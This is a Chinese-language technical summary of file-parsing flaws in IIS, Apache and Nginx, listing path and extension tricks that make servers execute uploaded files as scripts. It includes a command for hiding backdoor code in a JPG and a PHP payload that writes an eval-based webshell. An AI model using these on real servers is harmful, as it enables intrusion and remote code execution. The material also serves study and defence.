常見(jiàn)的服務(wù)器有 IIS、apache、nginx,其中又分同一服務(wù)器不同版本的解析漏洞,下面也是我從網(wǎng)上找的一些文檔,整合總結(jié)到一起的。
1、目錄解析
example:www.xxx.com/xxx.asp/xxx.jpg
IIS服務(wù)器會(huì)把.asp .asa目錄下的文件都解析成asp文件。其中xxx.jsp可以是任意后綴的文件,但是里面的內(nèi)容是webshell腳本。
2、文件解析
example:www.xxx.com/xxx.asp;.jpg
分號(hào)后面的不解析,所以最后解析的文件就變成了xxx.asp
3、IIS 6.0除了asp還可以解析 .asa .cer .cdx類(lèi)型的文件
例如:/xxx.asa/xxx.jpg, /xxx.cer/xxx.jpg, /xxx.cdx/xxx.jpg
在Fast-CGI開(kāi)啟的狀態(tài)下,在類(lèi)似xxx.jpg后面加上/xxx.php,變成/xxx.jpg/xxx.php路徑會(huì)解析成PHP文件。
將xxx.txt文本文件中的后門(mén)代碼寫(xiě)入到xxx.jpg圖片的二進(jìn)制代碼:
copy xxx.jpg/b + xxx.txt/a zzz.jpg
xxx.txt的文件內(nèi)容為:
1 | <?PHP fputs(fopen( 'shell.php' , 'w' ), '<?php eval($_POST[password])?>' );?>
|
然后訪問(wèn) www.xxx.com/xxx.jpg/.php,就會(huì)在當(dāng)前目錄下生成一句話(huà)木馬shell.php
在Fast-CGI關(guān)閉的狀態(tài)下,文件路徑 /xxx.jpg%00.php 會(huì)解析成PHP文件
這個(gè)漏洞與nginx的類(lèi)似,在php配置文件中開(kāi)啟了cgi.fix_pathinfo,這是PHP的配置問(wèn)題。
apache在解析類(lèi)似 shell.php.xxx.rar的文件時(shí),是從右往左開(kāi)始解析,如果遇到不認(rèn)識(shí)的后綴名,就在往左解析,rar無(wú)法解析,接著往左判斷xxx也不可解析,最后到PHP后綴
example:www.xxx.com/shell.php.xxx.rar
除了PHP后綴外,php|php3|phtml也可以被apache解析
在windows操作系統(tǒng)下,xxx.jpg[空格],xxx.jpg. 這兩種命名方式,在win下會(huì)默認(rèn)去掉空格和點(diǎn),變成xxx.jpg格式。
注:Linux可以允許此類(lèi)命名文件存在。
參考資料:
解析漏洞總結(jié)
服務(wù)器解析漏洞
文件解析漏洞總結(jié)-Apache
文件解析漏洞總結(jié)-Nginx
文件解析漏洞總結(jié)-IIS